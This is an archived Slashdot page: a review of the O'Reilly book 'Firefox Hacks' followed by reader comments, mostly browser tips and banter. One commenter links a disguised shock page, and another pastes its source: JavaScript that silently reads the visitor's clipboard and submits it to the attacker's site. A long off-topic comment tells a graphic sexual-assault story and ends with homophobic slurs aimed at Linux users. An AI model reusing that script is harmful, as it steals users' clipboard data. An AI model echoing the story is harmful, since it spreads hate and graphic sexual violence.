Beta

×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

Firefox Hacks

timothy posted more than 9 years ago | from the why-leave-the-house dept.

Mozilla 309

honestpuck (Tony Williams) writes "If there is an application I run more often than my Web browser, particularly since I also use it as my email client, then I don't know what it might be. As a Firefox convert, that made the arrival of Firefox Hacks from O'Reilly a wonderful surprise." Read on for the rest of Williams' review.

The first of several books on the topic of Firefox hacking (two more are due from other publishers in the coming months) Firefox Hacks sets the bar quite high. The author, Nigel McFarlane, has already written a number of other books and articles on similar topics and knows his subject well. He has also enlisted the help of a number of other cognoscenti to cover the more distant corners covered in the book.

A Web browser is a much more complex piece of software than you may realize on first examination, and Firefox -- with the core Gecko engine surrounded by a large wrapper written in XUL and JavaScript -- provides a fertile ground for any number of changes and enhancements. Firefox Hacks does a good job of mapping out the boundaries of this space.

Over the course of the now-traditional 100 hacks found in the same series' other members, this book covers hacking with, on, and to almost all aspects of Firefox and the 'net. The book is broken up into nine chapters, most worth reading by almost everyone -- even the first, "Firefox Basics," taught me a couple of tricks for getting the best out of a slow (and expensive) GPRS connection. The others are "Security," "Installation," "Web Surfing Enhancements," "Power Tools for Web Developers," "Power XML for Web Pages," "Hack the Chrome Ugly," "Hack the Chrome Cleanly," and "Work More Closely With Firefox." I have to say I felt the chapter on Power XML (with 17 of the 100 hacks) was far too general on Web technologies and a little out of place; easily half the hacks in that chapter could have been dropped without any real loss to a reader's understanding of Firefox. I would have preferred more on the browser itself. No insult intended to Seth Dillingham, who wrote four of the hacks I'd throw out -- they are well written and do show how best to deal with Web technologies inside Firefox. I just felt that the space would have been better devoted to more "core" topics.

The first four chapters will be useful to everyone, covering mainly the use of Firefox. From that point, the hacks become increasingly complex as they cover Web development, then modifying the interface, before covering such arcana as creating extensions and custom builds.

I am hard pressed to think of a corner of Firefox not at least touched, though it must be said that the later hacks only touch on the topics covered without really providing a lot of depth. If you get to the last two chapters in the book, performing and expanding on the hacks, you will probably need a great deal more information and assistance to branch out on your own. McFarlane, however, points out the possibilities and gets you started. I didn't feel this was a flaw, just that a line had been drawn, as it must unless the book was going to be three times the size and price.

The book is fairly well written. The quality of writing and editing fall into that middle ground of "fairly good" that one expects from the average O'Reilly book, though not the "excellent" they can sometimes hit. The structure and flow are excellent, making the book readable in large chunks -- enough sticks that when you are back in front of the computer using Firefox you can remember a few things. (Or, sometimes, I remembered that a hint existed and was able to easily find and use the information.)

For a closer look there is a decent page at O'Reilly with links to six example hacks, the table of contents (listing all 100 hacks) and the index.

To conclude, I'm not sure I could recommend this book to everyone; it spends a little too much time a fair way along the technology curve for those who aren't ready for some programming, though for anyone who wants to get their hands dirty and perform some hardcore hacking on their favourite browser, then this is an above-average volume. For someone who is happy as "just a user," this book may be too much: wait and see what else emerges into the Firefox book market -- including O'Reilly's other offering, the soon-to-be-released Don't Click on the Blue E, which they describe as giving "non-technical users a convenient roadmap for switching to a better web browser--Firefox."


Also watch soon for a review of Prentice Hall's Firefox & Thunderbird Garage. You can purchase Firefox Hacks from bn.com. Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.

cancel ×

309 comments

Sorry! There are no comments related to the filter you selected.

PDF Hack (2, Insightful)

The_Rippa (181699) | more than 9 years ago | (#12094101)

Where is the hack that lets you view the pdf examples of the other hacks in firefox without it locking up?

Re:PDF Hack (5, Informative)

Derek Pomery (2028) | more than 9 years ago | (#12094240)

http://www.mozilla.org/support/firefox/faq#acrobat [mozilla.org]
Not only "slowly" but also unstably.
Every system I've applied this FAQ entry to has much better performance.

Re:PDF Hack (1)

SteelX (32194) | more than 9 years ago | (#12094371)

Is there an equivalent for doing this on Linux? It's really slow too.

Re:PDF Hack (2, Informative)

pjbgravely (751384) | more than 9 years ago | (#12094681)

A 404 informative?, what gives?

Re:PDF Hack (0)

Anonymous Coward | more than 9 years ago | (#12094253)

Same place as the hacks that...
* Allow you to disable Flash
* Allow you to disable other plugins (permanently)
* Allow you to go backwards after typing in an unrecognized URL (try it! - very annoying)
* Let the download manager reconnect lost TCP/IP connections
* Make the "view page source/wrap long lines" setting actually "wrap long lines"
* Stop it getting confused regarding Serif/Non-Serif fonts
* Stop it displaying "tools/Read Mail" when you don't have Thunderbird installed ...I could go on and on...

Re:PDF Hack (0)

Anonymous Coward | more than 9 years ago | (#12094297)

Are they in the same chapter as the hack that...
Allows you to delete an item when displaying about:config?

Re:PDF Hack (0)

Anonymous Coward | more than 9 years ago | (#12094375)

What sort of idiotic requirement would that be?
Given about:config is an exposure of all the GRE config values, the only thing delete could do would be hiding that value from you.
If you want such a bizaare requirement, you can darn well write the filter yourself.

Re:PDF Hack (0)

Anonymous Coward | more than 9 years ago | (#12094487)

Okay, I install some extension. Let's say "stumbleupon". Then I delete it.
Ooops, about:config still shows all the config items.
Okay, I'll delete them. Ooops I can't!
What if they conflict with another extension... tough shit.

Say I want to limit what plug'ins are available for certain file types.
This is very warped under Firefox (checks in all manner of descrete and sneaky ways).
To stop it sending .pdf to Adobe, you have to delete the about:config entry, or uninstall adobe.
There is no way of doing deleting the entry from within about:config
In fact, you have to set the minimum version number to 9999.9999 or something stupid like that.

In the end, you've got go hunting for the particular file and edit it by hand.

Re:PDF Hack (1, Informative)

Anonymous Coward | more than 9 years ago | (#12094547)

plugin.scan.Acrobat

from the firefox website...
remove this entry if you don't want PDF files sent to an external viewer and would prefer to download them

Re:PDF Hack (1)

eAi2 (872035) | more than 9 years ago | (#12094379)

Adobe Reader 7 is considerably faster to load than Acrobat 6...

Article text (1)

Joey Patterson (547891) | more than 9 years ago | (#12094103)

Nothing for you to see here. Please move along.

I've read the PDF pages on the site... (4, Informative)

Ron Harwood (136613) | more than 9 years ago | (#12094123)

...and I found out about editCSS and webdeveloper extenstions from there... they rock.

Re:I've read the PDF pages on the site... (-1, Troll)

northcat (827059) | more than 9 years ago | (#12094390)

Then you're an idiot. You can easily find out about those and other extensions by clicking on "Get More Extensions" in the extensions dialog.

Re:I've read the PDF pages on the site... (-1, Flamebait)

Ron Harwood (136613) | more than 9 years ago | (#12094423)

And you're a shit-eating troll...

I don't have time to poke about every feature of a browser - I'm glad that you have nothing better to do with your time as it means that you aren't as much of a danger to society by contributing via your "gifts".

Re:I've read the PDF pages on the site... (-1, Troll)

iamlucky13 (795185) | more than 9 years ago | (#12094546)

I've read both your posts, and that's probably the best response I've heard to slash-hole.

Re:I've read the PDF pages on the site... (3, Funny)

Anonymous Coward | more than 9 years ago | (#12094686)

Sure. You don't have time to browse through the extensions to see what's available for your browser, but you do have time to browse Slashdot and read the PDF the article points to.

Re:I've read the PDF pages on the site... (0, Flamebait)

Anonymous Coward | more than 9 years ago | (#12094714)

And you don't have the time to learn 30 languages and bring peace to the earth but you do have time to sleep at night and take a shit every now and then.

What are YOU wasting your time on?

Re:I've read the PDF pages on the site... (-1, Offtopic)

Anonymous Coward | more than 9 years ago | (#12094831)

Religion.. and internet porn.

One hack I want (4, Insightful)

jerometremblay (513886) | more than 9 years ago | (#12094135)

I want to turn off the damn confirmation every time i open a http: //username:password@site URL!

Re:One hack I want (5, Interesting)

th1ckasabr1ck (752151) | more than 9 years ago | (#12094292)

This isn't funny - I have the same problem logging into my company intranet page. It requires a username and password. Under IE these stored passwords are sent immediately. With Firefox I have to click the confirmation each time. It's enough of a hassle that I redirected my Firefox home page away from the intranet.

Re:One hack I want (0)

Anonymous Coward | more than 9 years ago | (#12094322)

Even IE doesn't do that any more. You need to specifically change a default registry setting for that to work since IE5.5

Re:One hack I want (2, Funny)

jerometremblay (513886) | more than 9 years ago | (#12094374)

Yeah, but at least you can change it in the registry.

I suppose (or rather HOPE) there is a hidden setting somewhere in Firefox, but I haven't found it in about:config.

(and wth is the grand-parent modded funny? you people have a weird sense of humour)

Re:One hack I want (5, Informative)

Elwood P Dowd (16933) | more than 9 years ago | (#12094670)

That's a different problem. Internet explorer won't allow you to submit a password in the URL anymore either.

The reason your intranet works for everyone on IE is because IE supports Windows integrated security. It can tell that you are who you say you are because your machine is joined to the Windows domain.

go back to windoze luser lol p2ned (2, Funny)

hildi (868839) | more than 9 years ago | (#12094678)

you are not a real linux revolutionary until you understand how secure it is to type your username/password 50 times a day rather than having them stored locally!

Re:One hack I want (0)

Anonymous Coward | more than 9 years ago | (#12094806)

So you're too damn lazy to hit the Enter key? Wow.

Re:One hack I want (0)

Anonymous Coward | more than 9 years ago | (#12094296)

what's the problem? your link is dead anyway.

Re:One hack I want (0)

Anonymous Coward | more than 9 years ago | (#12094329)

Two more features I am looking for:
Save a webpage in the MHT format (and open existing ones)
Also...
Hit "File/Send Page" and have it send the page in e-mail, not just the link or the source, as IE does very well.

Otherwise, awesome browser!

MAF (4, Informative)

real_smiff (611054) | more than 9 years ago | (#12094672)

this "comes free" with the Mozilla Archive Format [mozdev.org] extension (adds an option to the page Save As type menu). I just tested it, page opened in IE, seems to work, a little slow maybe. as for your 2nd request, maybe someone else can help, i don't know sorry. btw if you didn't post anonymous you could see this reply easier..

Re:One hack I want (1)

nizo (81281) | more than 9 years ago | (#12094494)

What I want is a way to turn off any and all confirmation windows complaining about an SSL certificate once I click the "accept this forever" button. Well I mean aside from buy a real certificate......

Re:One hack I want (-1, Flamebait)

Anonymous Coward | more than 9 years ago | (#12094674)

First, there was a plan: how to bring together the different development groups at work? My boss said there was a sort of tension he thought could be eased by some social interaction. Not easy. Almost all of the different development groups despised each other, each thinking its "art" was more important and eloquent than the others'.

There was the kernel extension developer group, coding mostly in C and some PowerPC and x86 assembler. They worked on making our PCI board work with Linux, *BSD, Mac OS X, QNX, and Solaris. They worked "special hours," coming in at one and staying late, supposedly, until seven or eight at night. They enjoyed Red Bull and had a penchant for ThinkGeek t-shirts and cracking jokes about Win32 API calls and the dreaded Blue Screen of Death.

We had XML developers too. They worked on our website, documentation formatting, and simple apps to configure the driver software. They used HTML, XSL, JavaScript, and a bit of Java. They typically dressed casually, drank coffee and tea, and liked to work straight from the spec: no "Learn XSL in 30 Days" books were to be found in their cubicle farm.

Then we had the guys who wrote full-out UNIX apps. These guys and the products they wrote had been acquired from another company, and were the source of most of the tension: they'd never really been integrated into our group except that they were physically present with the rest of us. They all had beards or mullets or long, unwashed hair. Many wore suspenders or the afore-mentioned ThinkGeek clothes; some even had Penguin tatooes or small C app code tattooed on them. Their cubicle farm was known for the bleating laughter that exploded when one of them found a "silly" bug on someone else's code, and for the rotten, fetid stench that could only be compared to three-day-old shit reeking from inside a rotting corpse's abdominal cavity.

So, in order to get the guys to "know each other" my boss had asked me to organize a during-hours, alcohol-friendly party. My ideas ranged from a keg or two to live entertainment, AKA strippers. But as to what to get them to actually talk to each other in a human manner I had no clue. So I let it go til the last minute and decided to let my inherent creativity mull it over in the back of my head.

When the day of the party had arrived, the catering company brought in a few trays of lunch meat, chicken, pizza, and side dishes, I had picked up the kegs (all four) from the local brewery, and the big-screen TV and DVD were set up ready to blast the Matrix into the eyes and ears of my co-workers. The eagerness in the the air was encouraging and I thought that loosening up and smiles going on even now were a good sign. I even saw some of the guys who'd known each other previously begin to bunch up, bringing along the co-workers they knew from everyday work.

The first thing everyone did was hit the food line, loading up their plates and grabbing a cup for beer to wash it down with. A few approached me and thanked me for the food; it seems appeasing the belly really did tame the beast. After a few minutes of silence and eating and a few second and third courses, they guys were ready to sit down and be entertained. After asking if anyone needed anything else before the movie started, the lights went out and the Matrix began playing. I heard a few enthusiastic comments and jokes being told.

About half-way through the movie I noticed a lot of the guys, especially from the UNIX app group, were getting up and presumably going to the restroom. No suprise, as the second keg was history by now and the third was probably half-way gone. I also noticed some of the guys bumping into things and stumbling. Alcohol's the social lubricant, eh? Well, not long after, my bladder beckoned and I answered. As I made my way to the restroom, I had a self-satisfied smile on my face: my little plan was working, my boss would be happy, and it might even a Christmas bonus or a promotion (even if in title only).

Well, as soon as I pushed the restroom door open, I knew something was wrong. The smell of vomit was pretty strong and I hoped that it'd only been the work of one guy. But the smell was so pungent! After standing at the urinal, waiting for the golden flow to commence, I stood in silence. It was then that I heard grunting. Listening intently for a few seconds, I hoped whoever was upchucking their beer and munchies wasn't leaving a huge mess for the cleanup crew. After pissing and still hearing the noise, I approached the stall the that moaning was coming from.

"Hey, you alright in there, man?" I asked cautiously.

I was met by silence for a moment. Then I heard a few grunts and concealed giggles. Something was up in there. It was then that I heard what sounded like crying and more moaning. What the fuck? I decided I needed to see what was going on. I didn't want this party to come crashing down around my ears. I pushed the door open hard and then gasped as I saw the most sordid, disgusting thing I'd ever seen in my life.

Standing on either side of the toilet were two if the UNIX app coders, their beards caked with vomit, their pants in puddles around ankles, with erect penises wagging in the air. Doubled over the toilet, his head nearly dunked in the swill, was one of the XML developers. His pants were also around his ankles and what appeared to be a combination of blood and semen were dripping from his torn, ragged anus. He was covered in vomit from head to toe, and he was crying hard into the toilet bowl, its echo an eerie accompaniment to the awful scene I was seeing but not believing.

They two Linux coders slowly turned and looked me straight in the eye, evil grins smeared across both of their bearded faces.

"What in Fuck's name are you doing!?" was all I could force out of my mouth. I still wasn't believing I was seeing this.

Saying nothing, both of the Linux coders rushed me. Being in such a tense state, I threw both of them off and made a break for the door. And the fucking thing wouldn't open. In the follow two seconds that seemed like an eternity, the door was pushed open my way and two more Linux coders came in. Upon seeing what was happening, they immediately grabbed me and were joined by the first two. I was trapped. Then the one guy, who was a dead-ringer for Rasputin, the mad Russian monk, gazed into my eyes and said in a feminine voice, "Looks like Mr. Party is gonna get a taste of the real action!" and cackled insanely.

Cold sweat spurted from the pores on my foreheads and cheeks as I was dragged by the four stinking, polluted hippies into the same stall their previous victim was in. Rasputin spoke again, excitement in his voice.

"Thanks for the pizza and beer, now it's time for the weeners and buns!"

Immediately the first two slogged their pants off and got down on their knees. The other two put there knees in my back and held me on top of the first victim, who now appeared to be unconscious. I heard their belts coming off and their zippers coming down, and some rustling around told me that their pants were coming down also. Then the first two started sucking off the other two, in what I could only call the most enthusiastic blowjobs I'd ever seen in my life. The moaning and slurping sounds turned my stomach and I retched. I could see why the first guy might have vomited.

Eventually Rasputin and his cohort started moaning more loudly, and one of them said "fifteen seconds." This was followed by a series of rapid-fire belching and burping that shook me up and down on the guy underneath me. After about fifteen seconds, all Hell broke loose. The two guys behind me started vomiting on the two guys fellating them and I saw cumshot shoot and mix with the vomit all over the two cocksuckers' faces. It was then that I almost lost. I finally did refund when the first two vile fluids were followed by streams of piss. I heard swallowing and dripping and I yacked all over their first victim's head.

Rasputin cried out like a little girl in ecstasy. "Oh god, I'd been waiting for that all night! This party fuckin' roxorz my coxor!"

Now it was my turn, it seemed, as all four started tearing my pants down. Chunks of vomit-piss-semen fell on my back and soaked through my t-shirt. It was reviling. I shuddered as I felt their cold, clammy hands in my ass-crack and a very indelicate reacharound on my ball-sack. At this point I had no idea who was doing what, and I was just praying that I'd wake up and realize I was drunk and dreaming a la nightmare.

Just then I heard the door boom open and my boss's voice fill the air. The stall door was open and he saw right away the turgid scene transpiring in front of him. His voice was immediately followed by two others, XML developers I knew, and they flew into the stall as best they could and began a fight to save my asshole. The poor guy underneath me had just woken up and started struggling and the extra weight of eight other bodies in the stall must have been suffocating.

"It'll be all right, buddy," I offered to him.

Within thirty seconds I was to my feet and was delivering the most heart-felt kicks to the guts of the rapist faggot Linux coders. Between me, my boss, and the two XML developers, we had the gang of four knocked out in a sloppy, excrement-filled pile of hairy body.

It's now been a month since this horrible incident and I am in regular therapy with a sexual abuse counselor. In response to the terrible outcome of this party, my boss toyed with the idea of selling the group off to another company, sans the four hippies who'd been fired and arrested. After considerable urging on my part, and very open ear from my boss, the whole group was dissolved and the Linux coders lost their jobs. Their product was delayed by a year as my boss began hiring a new development team. We'd found evidence that the whole group had been involved in the planning of the gang- bangs and that had it not been for us everyone would have had a "turn" in the stalls.

If there's one thing we learned from this tragedy is that Linux coders, users, and advocates are desperate cock-lusting homosexual faggots that can't be trusted in any situation, let alone a restroom setting. You've been warned.

On the positive side, though, the whole incident brought solidarity between the other groups in the company and I am now on schedule to get a huge Christmas package that not only includes a gigantic bonus but a month's worth of paid time off and a real promotion.

Re:One hack I want (1, Informative)

Anonymous Coward | more than 9 years ago | (#12094695)

* Open Firefox
* In the Address bar type "about:config" (no quotes)
* In the filter field type "ntlm" (no quotes)
* Double click "network.automatic-ntlm-auth.trusted-urls"
* Add the following to the dialogue that appears "" (no quotes, and keep the spaces after the commas)
* Click OK
* Exit Firefox and restart

Re:One hack I want (3, Insightful)

emilv (847905) | more than 9 years ago | (#12094734)

That's actually a security feature due to the fact that it was widely used by scammers to write URLs such as
http://www.google.com [google.com] \@scammersite.com
resulting in a redirect to the scammer's site.

Re:One hack I want (0)

Anonymous Coward | more than 9 years ago | (#12094804)

I'm not sure exactly, but here are some files I check through when I set up Firefox in my remaster of Knoppix:
/greprefs/all.js
/defaults/pref/firefox.js

browserconfig.properties

Also, in your .mozilla in /home
.mozilla/firefox/thisfilenamevaries.default/prefs. js

Most of these are set when you use the about:config, and double click on the item you want to modify, and Firefox opens a box where you can put your own variant in.
You will also see the menu choices reflected on what can be changed there.
(Edit --> Preferences
What I do is once I make the changes to the above files, I make the remaster, and my changes are effective whenever Firefox boots up. If you make about:config changes, that should be permanent on hard drive installs, and will return on restored LiveCD setups. The problem is when Firefox is upgraded, such as the 1.01 to 1.02 recently, then these files have to be carefully reviewed, and if possible compared to the ones currently in effect, to see what needs changing to get what one wants. They comment the lines that are security related, and need to be left as is.

Sorry I could not find the exact file or line you need for the setting you want, but I'll be on the lookout for it when I next have to review all these files.

Didn't RTFA yet (5, Funny)

Kimos (859729) | more than 9 years ago | (#12094137)

If there is an application I run more often than my Web browser, particularly since I also use it as my email client, then I don't know what it might be. As a Firefox convert

If there is any English that would make me not want to read this article, particularly since English is my first language, then I don't know what that might be.

Re:Didn't RTFA yet (2, Informative)

Vaevictis666 (680137) | more than 9 years ago | (#12094220)

Now, now. That's a perfectly valid sentence. Taking out the text surrounded in commas as an aside, the main thrust of the sentence is:

If there is an application I run more often than my Web browser, then I don't know what it might be.

The "then" might be debatable, but otherwise it makes perfect sense to me. And taking the aside on its own is fine as well, so I dunno what your gripe is.

Re:Didn't RTFA yet (1)

Kimos (859729) | more than 9 years ago | (#12094243)

It's not wrong, just awkward.

Re:Didn't RTFA yet (4, Insightful)

fm6 (162816) | more than 9 years ago | (#12094500)

The sentence may be validEnglish, but it's not clear English.

However, the suggestion that the writer isn't a native speaker is both bigoted and illogical. Only a native speaker could spawn that many subordinate clauses in such a confusing way!

Re:Didn't RTFA yet (0)

Anonymous Coward | more than 9 years ago | (#12094797)

actually, it flows better as "If there is an application that I run more often than my Web browser..."

Re:Didn't RTFA yet (-1, Offtopic)

ta bu shi da yu (687699) | more than 9 years ago | (#12094348)

Will someone mod that down? That's not funny.

Re:Didn't RTFA yet (0)

Anonymous Coward | more than 9 years ago | (#12094354)

Well, if you're running Linux I bet you execute "(ba?|[t]c|k)?sh" more often than you do "firefox".
I bet sed and ls give you a run for your money sa well.

Close (5, Funny)

TheSportsGED (838061) | more than 9 years ago | (#12094138)

But if it doesn't tell me how to load Firefox on a memory stick for my PSP, I'm not interested.

Re:Close (1)

superpulpsicle (533373) | more than 9 years ago | (#12094186)

That probably won't be far off after...

Google firefox
Netscape firefox
AOL firefox?

Re:Close (1)

fat man with a monke (869132) | more than 9 years ago | (#12094312)

What do you mean after Netscape Firefox? Firefox uses Netscape legacy coding, so it might as well be Netscape Firefox.

Re:Close (1)

IANAAC (692242) | more than 9 years ago | (#12094481)

Acutally, I don't think that's true. Unless it's a (fairly) recent Netscape version, It's not based on Gecko, which Firefox is.

Re:Close (2, Informative)

Lazyhound (542184) | more than 9 years ago | (#12094690)

Netscape 7 is Gecko-based, and 8 is basically a Firefox reskin with a few new widgets.

Do you feel lucky, punk? (5, Funny)

werewolf1031 (869837) | more than 9 years ago | (#12094737)

Hey now, don't dis Firefox. That was one of the best Cold War-era Clint Eastwood movies I've seen! Hell, I remember watching it on the theater on that big screen when I was a kid and...

...oh, wait...

Good about: config explanation (5, Informative)

spywarearcata.com (841806) | more than 9 years ago | (#12094145)

An excellent book. The explanation of about:config and its mods are very useful.

I did the opposite of the Anonymity sub-chapter by putting my home page URL into my referrer string.

Re:Good about: config explanation (0, Troll)

spywarearcata.com (841806) | more than 9 years ago | (#12094342)

I meant User-agent, not referrer.

More specifically, I put the string

user_pref("general.useragent.override", "Mozilla/5.0 (Windows; U; WinXP; rv:1.7.3) Gecko/20040913 http://www.spywarearcata.com/ [spywarearcata.com] ");

(but not the stuff inclusive of the square brackets which slasdot inserts even in plain old text mode) in the prefs.js file. Voila!

Re:Good about: config explanation (0, Flamebait)

rovingeyes (575063) | more than 9 years ago | (#12094386)

Ok we get it you're a hacker now stop bothering us.

Re:Good about: config explanation (4, Interesting)

irc.goatse.cx troll (593289) | more than 9 years ago | (#12094712)

He's not a hacker, he's a spammer. He's posting here to help his pagerank, and throwing it in useragent gets him linked on random public web stats pages. It's all about pagerank.

Re:Good about: config explanation (-1, Offtopic)

Tribbin (565963) | more than 9 years ago | (#12094387)

Offtopic but,

When you are fiddeling with linux printerdrivers and try to print with firefox in the meantime, firefox will remember many variables of virtual printers you don't use.

Is this something I might want to submit to the mozilla crowd?

why-leave-the-house dept? (-1, Offtopic)

Anonymous Coward | more than 9 years ago | (#12094158)

To get to the english store.

THE BEST FIREFOX HACK (-1, Troll)

Anonymous Coward | more than 9 years ago | (#12094167)

Firefox hack [nimp.org]

Re:THE BEST FIREFOX HACK (4, Informative)

akira69 (621573) | more than 9 years ago | (#12094260)

You are an asshole. Don't click this link people. Bad news.

Re:THE BEST FIREFOX HACK (1)

CarlinWithers (861335) | more than 9 years ago | (#12094370)

He is an asshole, but he may have pointed out something useful. This is something the Firefox team ought to fix, i.e. cannot open more than 16 or 32 tabs within a 5 second time period.

Re:THE BEST FIREFOX HACK (0)

Anonymous Coward | more than 9 years ago | (#12094565)

Then I couldn't click on the bookmark folder I have labelled "comics" and select "Open in Tabs" like I do every morning.

Re:THE BEST FIREFOX HACK (0)

Anonymous Coward | more than 9 years ago | (#12094393)

why, don't you like looking at a mans asshole?

Re:THE BEST FIREFOX HACK (0)

Anonymous Coward | more than 9 years ago | (#12094610)

as some of the other people , unlike us and the GNAA are not gay( and pereverted aswell)

Re:THE BEST FIREFOX HACK (0)

Anonymous Coward | more than 9 years ago | (#12094630)

What fucking moron moderator moded the parent as a troll , im sorry but seriously .
This guy is poiting out that the grandparent is linking to a GNAA exploit site that uses the Goat.CX.-Esk method of shock

MOD PARENT DOWN (0)

Anonymous Coward | more than 9 years ago | (#12094261)

Link opens about spawns tons of tabs.

What it really does. (5, Informative)

spagetti_code (773137) | more than 9 years ago | (#12094624)

Be warned - in case you are tempted...

This is a pretty ingenious script that

  • Opens up windows (or tabs, depending on how you open the link) as fast as your computer can - 100% CPU
  • Each window displays gay porn
  • Plays a loud sound "Hey everybody I'm looking at gay porno"
  • Behind the scenes it also copies the contents of your clipboard to this guy.
It works in IE and firefox. It is simply a page with an image, a flash movie, and a javascript that copies your clipboard to a field then 'submit()'s' the form, reloading the page.

Very simple and bypasses popup blockers (at least the ones I have on).

This has got to be a security hole in firefox, both on the ability to open windows/tabs, and copying the clipboard.

If you want to have a look, use:

WARNING: dont click on this link, just copy the wget command to a shell. Dont say I didn't warn you...

Re:What it really does. (1, Informative)

Anonymous Coward | more than 9 years ago | (#12094786)

<html>
<head>
<title>GNAA Last Measure v4.1 by Rucas with Armorfist's PopupByPasser Mod.</title>
</head>

<body>

<form name="clip" method="post" action="index.php" style="display:none">
<input type="text" name="content">
<input type="hidden" name="send" value="1">
<input type="hidden" name="referer" value="">
<input type="hidden" name="user" value="">
<input type="submit">
</form>

<script language="javascript">
//without this if statement check, it bombs out with an error
if(typeof clipboardData != 'undefined') {
var content = clipboardData.getData("Text");
document.forms["clip"].elements["content"].value = content;
}
document.forms["clip"].submit();
</s cript>
</body>
</html>
</head>
<body >

<table width="100%" height="100%"><tr><td valign="middle"><div align="center"><a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a><br><br>

<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-44455354000 0' codebase='http://download.macromedia.com/pub/shock wave/cabs/flash/swflash.cab#version=6,0,29,0' width='10' height='10'>
<param name='movie' value='flash/first_opener.swf'>
<param name='quality' value='high'>
<embed src='flash/first_opener.swf' quality='high' pluginspage='http://www.macromedia.com/go/getflash player' type='application/x-shockwave-flash' width='10' height='10'></embed>

</object>
</div></td></tr></table></body></html>

Re:What it really does. (0)

Anonymous Coward | more than 9 years ago | (#12094820)

wont work on firefox versions that don't have flash plugin installed. next big think is to open source flash player

more than firefox (-1, Offtopic)

Anonymous Coward | more than 9 years ago | (#12094201)

"If there is an application I run more often than my Web browser then I don't know what it might be"

Isn't it windows media player to watch pr0n?

Re:more than firefox (0, Offtopic)

Mondoz (672060) | more than 9 years ago | (#12094349)

I'm still in shock that a home computer can be used for anything other than a World of Warcraft terminal.

Re:more than firefox (1)

qyiet (851101) | more than 9 years ago | (#12094856)

I know, AND the can if you run WoW in windowed mode, you can use it to look at thottbot while playing.

Firefox hacks? (-1, Flamebait)

Anonymous Coward | more than 9 years ago | (#12094237)

Is that anything like a group of Linux hacks who think they're down GNU and stuff but are nothin' but weak posers?

is there a hack to remove the 'cannot connect msg' (0)

Anonymous Coward | more than 9 years ago | (#12094274)

I hate that msgbox that pops up when you cant connect to a site

any way to disable this?

Re:is there a hack to remove the 'cannot connect m (1)

NoGuffCheck (746638) | more than 9 years ago | (#12094449)

yeah, im on a wireless network and if my signal drops out, as it frequently does, i get the same message..

Re:is there a hack to remove the 'cannot connect m (4, Informative)

seizer (16950) | more than 9 years ago | (#12094566)

Certainly:

browser.xul.error_pages.enabled

Enjoy.

HTML instead of PDF (5, Informative)

caryw (131578) | more than 9 years ago | (#12094286)

Re:HTML instead of PDF (0)

Anonymous Coward | more than 9 years ago | (#12094550)

This is exactly what i was thinking , some of the links do apear to follow this patern :( please dont fall into the trap of Fake sigs though , your an excelent poster and the fairfax site is a dammed good example of community intenernet , dont let it get a bad rep due to this

If you think the book requires too much coding ... (2, Insightful)

WillAffleckUW (858324) | more than 9 years ago | (#12094302)

... it spends a little too much time a fair way along the technology curve for those who aren't ready for some programming, though for anyone who wants to get their hands dirty and perform some hardcore hacking on their favourite browser, then this is an above-average volume.

If you're not ready for some programming, then, by definition, you're not a hacker.

Geesh, next you'll want the Flash version ...

A GUI would be nice (1)

Eyah....TIMMY (642050) | more than 9 years ago | (#12094476)

Why does hacking always have to be so difficult? I wonna be a fashionable hacker too.

Firefox Prototype (5, Funny)

therealfitzman (807672) | more than 9 years ago | (#12094352)

The new Firefox prototype is amazing. It works by "neuralink" allowing you to think about what website you want to go to and it opens in the browser. The only caveat so far is you have to think in Russian in order for it to work.

Re:Firefox Prototype (4, Funny)

prostoalex (308614) | more than 9 years ago | (#12094424)

The only caveat so far is you have to think in Russian in order for it to work.

I don't get it. What's the problem?

--Alex Moskalyuk

Re:Firefox Prototype (1, Funny)

Dachannien (617929) | more than 9 years ago | (#12094551)

Just remember to think "nyet" at any suspicious-looking dialog boxes.

Re:Firefox Prototype (1)

NoGuffCheck (746638) | more than 9 years ago | (#12094573)

sweet... i love russian porn anyway

Don't click on the blue E! (5, Informative)

c0ldfusi0n (736058) | more than 9 years ago | (#12094365)

Sorry for the slightly offtopic comment, but i have to post this.
O'reilly have a book called Don't click on the blue E! [oreilly.com] that's a kind of migration guide from IE to Firefox for disenchanted Internet Explorer users.

I just love the title of it. Frankly, how many Firefox users trying to get thir sister/mother/grandma to use Firefox (mostly because they're sick of being called to remove spywares/viruses induced by IE) have actually use that phrase?

Re:Don't click on the blue E! (5, Insightful)

creep (150035) | more than 9 years ago | (#12094471)

I don't. Aside from putting a Firefox icon on the desktop of all my family and friends' computers that I service, I also use the IE icon and point it to Firefox just in case they happen to click on it out of habit.

Re:Don't click on the blue E! (1)

goofy183 (451746) | more than 9 years ago | (#12094839)

Thats what I ended up doing for both my grandmothers. It was easier to swap out the icon for the firefox shortcut than break the habit of running IE.

For many people if you install FF, import their IE settings and swap the shortcut targets they will never notice the difference.

XML and other quibbles (4, Interesting)

fm6 (162816) | more than 9 years ago | (#12094457)

Why is XML not a "core topic"? Serving web pages as XML is the Next Big Thing, in my opinion. In any case, XML is a lot more relevent to most people's needs than hacking the browser as a game platform!

Not that anything was really excluded. They seem to have had a little trouble coming up with 100 hacks. Some I see on the list are interesting, but not strictly about Firefox (CSS, Bugzilla). Some are pretty lame ("Identify and Use Toolbar Icons"). Some are not even hacks (a list of customized prebuilt versions).

Some hacks do look interesting -- integrating Firefox with other apps, making chromes and extensions, and (as I said) XML support. Maybe these are good enough to justify the price of the book. Though a book about these specific topics might be money better spent.

question (-1, Offtopic)

Anonymous Coward | more than 9 years ago | (#12094462)

am i the only one who daydreams about giving honestpuck a severe beating?

Re:question (-1, Flamebait)

Anonymous Coward | more than 9 years ago | (#12094567)

"am i the only one who daydreams about getting horse spunk?"

yea you are

Haven't read the book.. (1)

NoMoreNicksLeft (516230) | more than 9 years ago | (#12094505)

But if they don't mention greasemonkey, then the only excuse I'll accept is that it's too new to appear in print. I'm using it at work to clobber that last webapp so that I no longer have to use IE...

Also, check out Favicon picker, for those last few sites that don't work properly (shame on you, www.dilbert.com). Nice too, for those embedded devices you keep bookmarks too, (print servers, etc). Even if my WAP icon looks gay (I did pretty decent freehanding on the printer icon).

